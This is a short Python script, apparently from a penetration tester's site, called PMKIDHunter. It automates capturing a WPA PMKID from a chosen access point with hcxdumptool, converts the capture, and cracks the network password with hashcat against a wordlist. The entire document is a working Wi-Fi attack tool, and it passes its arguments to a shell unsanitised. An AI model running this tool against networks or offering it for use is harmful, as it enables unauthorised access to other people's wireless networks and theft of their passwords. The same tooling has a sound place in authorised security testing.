1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
| #!/usr/bin/env python3
"""
PMKIDHunter — PMKID capture and crack wrapper
TheXero | https://www.thexero.co.uk
"""
import argparse
import subprocess
import tempfile
import os
import sys
import time
def run(cmd, check=True):
return subprocess.run(cmd, shell=True, check=check)
def capture_pmkid(iface, bssid, outfile, timeout=30):
print(f"[*] Capturing PMKID from {bssid} on {iface} ({timeout}s timeout)...")
cmd = (
f"timeout {timeout} hcxdumptool -i {iface} "
f"--filterlist_ap={bssid} --filtermode=2 "
f"-o {outfile} --enable_status=1"
)
run(cmd, check=False)
def convert(pcapng, hashfile):
print(f"[*] Converting capture to hashcat format...")
run(f"hcxpcapngtool -o {hashfile} {pcapng}")
def crack(hashfile, wordlist):
print(f"[*] Starting hashcat (mode 22000)...")
run(f"hashcat -m 22000 {hashfile} {wordlist} --force")
def main():
parser = argparse.ArgumentParser(description="PMKIDHunter — PMKID capture & crack")
parser.add_argument("-i", "--iface", required=True, help="Monitor mode interface")
parser.add_argument("-b", "--bssid", required=True, help="Target BSSID")
parser.add_argument("-w", "--wordlist", required=True, help="Path to wordlist")
parser.add_argument("-t", "--timeout", default=30, type=int, help="Capture timeout (seconds)")
args = parser.parse_args()
with tempfile.TemporaryDirectory() as tmp:
pcapng = os.path.join(tmp, "capture.pcapng")
hashfile = os.path.join(tmp, "hashes.txt")
capture_pmkid(args.iface, args.bssid, pcapng, args.timeout)
convert(pcapng, hashfile)
if os.path.exists(hashfile) and os.path.getsize(hashfile) > 0:
crack(hashfile, args.wordlist)
else:
print("[-] No PMKID captured. Try increasing --timeout or moving closer to the AP.")
sys.exit(1)
if __name__ == "__main__":
if os.geteuid() != 0:
print("[-] Run as root.")
sys.exit(1)
main()
|